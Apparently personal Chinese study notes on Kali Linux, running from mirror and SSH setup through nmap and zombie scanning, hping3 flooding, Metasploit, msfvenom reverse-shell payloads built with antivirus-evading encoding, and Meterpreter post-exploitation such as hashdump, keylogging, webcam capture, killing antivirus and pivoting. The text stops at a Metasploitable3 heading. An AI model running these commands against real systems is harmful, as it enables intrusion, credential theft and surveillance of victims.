kaili的大名就不用细说了,安装步骤网络上比比皆是,而且官方也提供了很多种下载包,非常的简单。
以下是个人的学习笔记,仅供学习交流和参考使用,可能包含了一些存在风险的命令,禁止用于任何非法行为或测试中。命令输入有封信啊,回车需谨慎。
KaLi终端字体改变
- 放大:Ctrl+Shift+加号
- 缩小:Ctrl+减号
更改kali源
换中国科技大学的源
sudo vim /etc/apt/sources.list
# 注释掉第二行代码并新增两行代码
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
PS:vim显示行号 Esc>:>set nu
PS:复制粘贴小技巧
1、复制:在kali终端下,使用鼠标选中内容,就可以完成kali下复制,
2、粘贴:移动光标到需要粘贴的位置,按下鼠标中间的滚轮,就可以粘贴
PS:更新源扩展
️安装更新
apt update # 更新软件包
apt upgrade # 安装更新包
apt dist-upgrade # 强制更新
PS:apt upgrade和dist-upgrade的差别 upgrade升级时,如果软件包有相依性的问题,此软件包就不会被升级。 dist-upgrade升级时,如果软件包有相依性问题,会移除旧版,直接安装新版本.(所以通常dist-upgrade会被认为是有点风险的升级)
清理安装包
apt clean
apt autoclean
apt常用命令:
install:安装软件包apt install
remove:移除软件包apt remove
update:更新可用软件包列表apt update
upgrade:通过安装/升级软件来更新系统apt upgrade
full-upgrade:通过卸载/安装/升级来更新系统apt dist-upgrade
edit-sources:编辑软件源信息文件vim /etc/apt/sources.liste
配置IP
vim /etc/network/interfaces
# iface lo inet loopback后面追加以下配置
auto eth0
iface eth0 inet static # 配置静态地址
address 192.168.x.x # 配置IP
netmask 255.255.255.0 # 配置子网掩码
gateway 192.168.x.x # 配置网关
# 保存后重启网卡
systemctl restart networking
# 或者是
/etc/init.d/networking restart
更改DNS
echo nameserver 114.114.114.114 > vim /etc/resolv.conf
配置SSH,可ROOT直接登录
编辑配置文件
vim /etc/ssh/sshd_config
# 按照说明更改配置文件
1、大概在34行左右,找到#PermitRootLogin prohibit-password改成PermitRootLogin yes
# 记得要去掉这一句前面的#号
2、大概在58行左右,找到#PasswordAuthentication yes这一句前面的#号去掉
操作此服务
重启SSH服务
systemctl restart ssh
# 设置开机启动
systemctl enable ssh
# 或者
update-rc.d ssh enable
路由跟踪
traceroute [域名]
查看局域网内的IP是否有冲突,或者是查看IP对应的MAC地址,使用arping
命令
ARP协议工作原理:IP<==>MAC
arping [选项] [IP地址]
-C # 指定Ping的次数
| grep "要筛选的项目名" # 筛选
| cut -d # 截取命令
扫描、嗅探局域网中存活的主机
netdiscover -i [网卡名] -r [网段]/24 # 主动发数据包的嗅探
netdiscover -p # 不主动发数据包的嗅探
PS:主动方式容易被抓
压力测试,DOS攻击
hping3 [参数] [域名]
-c 发送次数 # 例子:1000
-d 数据包大小,单位字节 # 例子:120
-S 这个是大写的S只发送SYN数据表包
-w 指定TCP窗口的大小=流量 # 例子:64
-p 指定端口 # 例子:80
--flood 洪水攻击,加速发包 # 属于UDP行为,只管发,不管你收没收到
--rand-source 局域网内伪造地址
检测网段内存活的主机
fping -g [网段]/24 [参数]
-c 一个地址只ping几次才跳过
> xxx.txt 输出的结果到一个文件中
️Nmap网络扫描
nmap [参数] [网段]/24
-sn 只进行Ping扫描,不进行端口扫描
nmap扫描有两种模式
- TCP全连接扫描,三次握手完成,且会留记录
- TCP半连接扫描,两次握手完成就断开,不会被记录
nmap [IP] [参数]
-sS 加了这个参数就是半连接扫描,不加就是全连接扫描
-p 端口 # 输入格式:80,81,82,83,84 或者是:80-84
nc端口监听与扫描
nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单可靠的网络工具 nc的作用:
- 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
- 端口的扫描,nc可以作为client发起TCP或UDP连接
- 机器之间传输文件
- 机器之间网络测速
nc [参数] [IP地址] [端口,或者是端口范围]
-nv 表示我们扫描的目标是个IP地址不做域名解析
-w 表示超时时间
-z 表示进行端口扫描
查看端口被哪个进程使用
lsof -i:[端口号]
用ps
命令来查看这个进程的PID所对应的文件
ps -aux | grep [PID]
用shich
命令来查看这个进程的PID所对应的文件
which [进程名]
检测到达目标地址的路由设备
apt install mtr # 默认没有,要安装一下
mtr [域名/IP地址]
Scapy工具概述
Scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具还可以查看目标MAC地址。输入scapy
命令即可启动
查看Scapy里面的ARP协议
>>> ARP().display()
###[ ARP ]###
hwtype= 0x1 # 硬件类型
ptype= IPv4 # 协议类型
hwlen= None # 硬件地址长度(MAC)
plen= None # 协议地址长度(IP)
op= who-has # who-has查询
hwsrc= 00:0c:29:3d:6c:5d # 源MAC地址
psrc= 192.168.0.53 # 源IP地址
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0 # 向谁发送请求,目标
发ARP包格式
sr1(ARP(pdst="IP地址"))
查看Scapy里面的IP协议
>>> IP().display()
###[ IP ]###
version= 4 # 版本,即IPV4
ihl= None # 首部长度
tos= 0x0 # 服务
len= None # 总长度
id= 1 # 标识
flags=
frag= 0 # 标志
ttl= 64 # 生存时间
proto= hopopt # 传输控制协议 IPV6逐跳选项
chksum= None # 首部效验和
src= 127.0.0.1 # 源地址
dst= 127.0.0.1 # 目标地址
\options\
查看Scapy里面的ICMP协议
>>> ICMP().display()
###[ ICMP ]###
type= echo-request # 类型,标识ICMPB报文的类型
code= 0 # 代码
chksum= None # 效验和
id= 0x0 # 标识
seq= 0x0
Scapy定制Ping包
sr1(IP(dst="IP地址")/ICMP(),timeout=1)
查看Scapy里面的TCP协议
>>> TCP().display()
###[ TCP ]###
sport= ftp_data # TCP源端口
dport= http # TCP目的端口
seq= 0 # 32位序号
ack= 0 # 32位确认序号
dataofs= None # 4位首部长度
reserved= 0 # 保留6位
flags= S # 标志域,紧急标志、有意义的应答标志、推、重置连接标志、同步序列号标志、完成发送数据标志。按照顺序排列是:URG、ACK、PSH、RST、SYN、FIN
window= 8192 # 窗口大小
chksum= None # 16位效验和
urgptr= 0 # 优先指针
options= [] # 选项
Scapy定制TCP协议SYN请求,这种是基于半连接扫描,更隐蔽
sr1(IP(dst="192.168.0.1")/TCP(flags="S",dport=80),timeout=1)
最后使用exec()命令退出Scapy。
僵尸扫描
僵尸扫描有极高的隐蔽特性,能够伪造IP,但实施条件苛刻。 僵尸主机:僵尸主机是指感染僵尸程序病毒,从而被黑客程序控制的计算机设备。但是僵尸扫描中的僵尸主机指得是一个闲置的操作系统(这里的闲置是指主机不会主动和任何人通信),且此系统中IP数据包中IPID是递增的。
️使用nmap来找僵尸主机
在网段里面找
nmap [网段]/24 [参数]
-p 端口 # 输入格式:80,81,82,83,84 或者是:80-84
--script=ipidseq.nse # 寻找僵尸主机
测试单台能作为僵尸主机
nmap [黑客的主机IP] -sI [被扫描的僵尸机IP] [参数]
-p 端口 # 输入格式:80,81,82,83,84 或者是:80-84
返回的结果
|_ipidseq: All zeros # 不可以作为僵尸主机
|_ipidseq: Incremental! # 可以作为僵尸主机
Class: Incremental! # 可以作为僵尸主机
WireShark抓包解决服务器被黑上不了网
场景:服务器主机TTL值被恶意修改成1,导致可以Ping通网关,但是不能上网。
TTL:数据报文的生存周期 默认Linux操作系统值:64,每经过一个路由节点,TTL值减1,当TTL值为0时,说明目标地址不可达并返回:Time to live exceeded。作用:防止数据包,无限制在公网中转发。
修改TTL值
vim /proc/sys/net/ipv4/ip_default_ttl # 默认64
思路:通过抓混杂模式来进行局域网内部状况的观测,查到哪个IP地址发的包异常,导致的局域网异常,来进一步的进行处理。
NMAP高级使用技巧
NMAP基础
NMAP是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术,例如: UDP、TCP connect()、TCP SYN(半开扫描)、 ftp代理(bounce攻击)、反向标志、ICMP、 FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。还可以探测操作系统类型。
NMAP可用于:
- 检测活在网络上的主机(主机发现)
- 检测主机上开放的端口(端口发现或枚举)
- 检测到相应的端口(服务发现)的软件和版本
- 检测操作系统,硬件地址,以及软件版本
- 检测脆弱性的漏洞(Nmap 的脚本)
NMAP端口状态解析
- open :应用程序在该端口接收TCP连接或者UDP报文。
- closed :关闭的端口对于nmap 也是可访问的,它接收nmap探测报文并作出响应。但没有应用程序在其上监听。
- filtered :由于包过滤阻止探测报文到达端口,nmap 无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则或者主机上的软件防火墙。
- unfiltered :未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。只有用于映射防火墙规则集的ACK扫描才会把端口分类到这个状态。
- open / filtered :无法确定端口是开放还是被过滤,开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议,FIN,Null等扫描会引起。
- closed | filtered:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的。
NMAP的使用命令
nmap [参数] [IP地址/域名/网段]
# 不加任何参数,常规扫描
-v 详细显示扫描结果以及扫描状态
-p 端口 # 输入格式:80,81,82,83,84 或者是:80-84
# 端口最多是65535个
-sS # 加了这个参数就是半连接扫描,不加就是全连接扫描
-sU # UDP扫描
-sV # 探测端口及版本服务信息
-O # 只扫描系统类型
-A # 对操作系统和开放端口的软件版本还有traceroute路由进行扫描
-sn # Ping扫描,关闭端口扫描,扫描快,容易被防火墙ban
-Pn # 非ping扫描
-F # 快速扫描
-oX # 输出扫描结果,"X"是指定的文件类型为.xml
-T1-6 # 级别越高扫描速度越快,但容易被防火墙或IDS检测并屏蔽掉,推荐使用T4
--randomize-hosts # 随机扫描,对目标主机的扫描顺序随机划分
--scan-=delay [数字]ms # 延时扫描,单位秒,调整探针之间的延迟
--version-light # 设定侦测等级为2
--traceroute # 路由跟踪
慢速全面扫描
(nmap -sS -sU -T4 -A -v -PE -PP -PS80,443,-PA3389,PU40125 -pY -g 53 --script all)
如果扫描数量较大则可以使用分布式集群扫描dnmap
NESSUS漏洞检测
说明:NESSUS占用内存比较大,建议使用6-8GB的运行内存
安装.deb
包的命令
dpkg -i [.deb包名]
启动此服务
systemctl start nessusd.service
进入浏览器访问:
进去登录注册激活,然后还要安装部分插件
因为我没有工作邮箱无法完成注册,这个还是留给后期测试
Metasploit渗透测试框架
Metasploit是一个渗透测试平台,可以进行查找,利用和验证漏洞。它是一个攻击工具开发平台。
️Metasploit体系框架
1、基础库: metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。
Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及 MySQL数据库支持等。
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口。 framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。
2、模块∶模块组织按照不同的用途分为6种类型的模块(Modules) :
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。 注: payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、openVAS漏洞扫描器等,为用户接口提供一些新的功能。
4、接口:包括msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口。
5、功能程序: metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。
Metasploit的目录结构
进入Metasploit的目录
cd /usr/share/metasploit-framework
data:Metasploit使用的可编辑文件 documentation:为框架提供文档lib:框架代码库 modules:实际的MSF模块 eplugins:可以在运行时加载的插件 scripts:Meterpreter 和其他脚本 tools:各种有用的命令行工具
Metasploitable2靶机系统
账号:msfadmin 密码:msfadmin
首先使用的时候要部署好环境,更改root密码,设置静态IP
⛏Metasploit基本使用方法
Metasploit程序需要使用Postgresql数据库
PostgreSQL概述: PostgreSQL是一种特性非常齐全的自由软件的对象, 关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES 4.2版本为基础的对象关系型数据库管理系统。
PostgreSQL启动命令:
systemctl start postgresql
通过help命令查看帮助,可以对msf有个整体认识,msf相关命令可以分成以下类型:
Core Commands # 核心命令
Module Commands # 模块命令
Job Commands # 后台任务命令
Resource Script Commands # 资源脚本命令
Database Backend Commands # 数据库后端命令
Credentials Backend Commands # 证书/凭证后端命令
Developer Commands # 开发人员命令
1、核心命令中的connect命令 connect命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是connecte
connecte [IP地址/域名] [端口号]
get / # 建立连接后提交一个get请求,可以查到服务器版本号
2、模块相关的命令show使用方法-show命令用的很多。 “show”命令的有效参数是: all, encoders, nops, exploits, payloads, auxiliary, post, plugins,info, options
show exploits # 例1:列出metasploit框架中的所有渗透攻击模块exploits。
show payloads # 列出metasploit框架中的所有攻击载荷。
show auxiliary # 列出metasploit框架中的所有辅助攻击载荷。
3、模块相关的命令search搜索的使用方法
search [名字] # 通过名字来查找,例如:mysql
# 每列的含意是
Name Disclosure Date Rank Check Description
名称 披露曰期 排名 检查 说明
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个Rank字段。 用户可以基于Rank对漏洞利用模块进行搜索,分类以及排序。
- Rank按照可靠性降序排列
- excellent漏洞利用程序绝对不会使目标服务崩溃,就像SQL注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
- great该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
- good该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的Windows 7,服务器的2012等)
- normal该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。eaverage该漏洞利用程序不可靠或者难以利用。
- low对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率)
- manual该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
search pats:[名字] # 通过路径查找
search platform:[名字] # 通过缩小范围查找,所查询的结果会列出rank比较高的模块。
search type:[名字] # 通过类型进行查找,例如渗透攻击模块exploits==>type:exploit
CVE搜索exploit相关模块
CVE概述:CVE的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得CVE成为了安全信息共享的“关键字"。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
search cve:CVE-2017-8464 type:exploit # 查找:CVE-2017-8464远程命令执行漏洞
联合查找:例如要查找mysql的exploit相关漏洞
search type:exploit name:mysql
模块相关的命令use的使用方法
use使用参数。如你要使用到某个模块
search [漏洞名称]
use [模块名称]
# 退出模块back
查看漏洞模块的信息
info [模块名称]
ST步骤(Exploit)
search xxx #搜索某个漏洞 use xxx #使用某个漏洞利用模块 show options #查看配置选项 set payload #配置[gongji]载荷 exploit #执行[gongji]
参数摘要
reload_all #从目录重载所有模块
back #后退命令,移出当前上下文,用于模块切换
info #目标和模块详细信息
check #检查目标是否受某个漏洞影响
sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话
show options #显示可选选项
auxiliary #显示所有辅助模块
exploits #显示所有漏洞利用模块
payloads #显示所有有效载荷
targets #显示所有可用目标
advanced #显示更多高级选项
encoders #显示可用编码器列表
使用辅助模块(Auxiliary) 端口扫描
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas
服务扫描
auxiliary/scanner/ssh/ssh_login #SSH爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers #SMB枚举
auxiliary/scanner/smb/smb_login #SMB弱口令登录
auxiliary/admin/smb/psexec_command #登录SMB且执行命令
auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举
载荷和编码(Payloads && Encoders)
MSF可以用以下方式,生成payload和编码
use windows/meterpreter_reverse_http
-E 强制编码
-e 要使用的编码器模块的名称
-f 输出文件名(否则为stdout)
-t 输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b 要避免的字符列表: '\x00\xff'
用msfvenom生成shellcode然后编码免杀。 Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe
参数选项:
-p 指定的payload
-e 编码器,x86/shikata_ga_nai
-i 迭代器,对有效载荷的编码次数
-f 输出文件的格式,exe、dll、raw
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=6666 -f elf > msf.elf
监听反弹shell
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.1.1.15
msf5 exploit(multi/handler) > set LPORT 6666
msf5 exploit(multi/handler) > run
Meterpreter用例
刚获得Meterpreter Shell时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定
getpid #查看当前Meterpreter Shell的进程号 ps #获取目标机正运行的进程 migrate 476 #将shell迁移到PID为786的进程中
命令摘要
pwd、ls、cd
getuid #查看当前权限
getsystem #获得系统管理员权限(要本地管理员权限运行)
hashdump #抓哈希密码
sysinfo #查看系统信息
idletim #查看目标系统已运行时间
route #查看目标机完整网络设置
shell #进入目标机shell,exit退出she
background #将meterpreter隐藏在后台
upload ./1.txt c:\\1.txt #上传文件
download c:\1.txt ./ #下载文件
search -f *.txt -d c:// #搜索文件
keyscan_start #启动键盘记录
keyscan_stop #停止键盘记录
keyscan_dump #转储键盘记录的内容
screenshot #抓取截屏
webcam_list #摄像头列表
webcam_snap #摄像头拍照
webcam_stream #抓取视频
#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP
route add IP 子网掩码 #添加路由,先background
后ST模块(Post)
run post/windows/gather/checkvm #检查目标是否虚拟机
run post/linux/gather/checkvm #检查目标是否虚拟机
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #列举自动登陆的用户名和密码
MSF官方后ST模块参考: https://www.offensive-security.com/metasploit-unleashed/post-module-reference/ 网络穿透
拿到反向shell之后,获取目标网络信息
meterpreter > run get_local_subnets
使用autoroute模块添加路由
meterpreter > run autoroute -s 10.0.0.0/255.0.0.0
meterpreter > run autoroute -p #列出添加了路由规则的存活session
添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了
添加完成后使用ms17_010的扫描脚本进行目标内网的扫描 MSF靶机
Metasploitable2:
下载地址: https://sourceforge.net/projects/metasploitable/
官方教程: https://metasploit.help.rapid7.com/docs/metasploitable-2
Metasploitable3: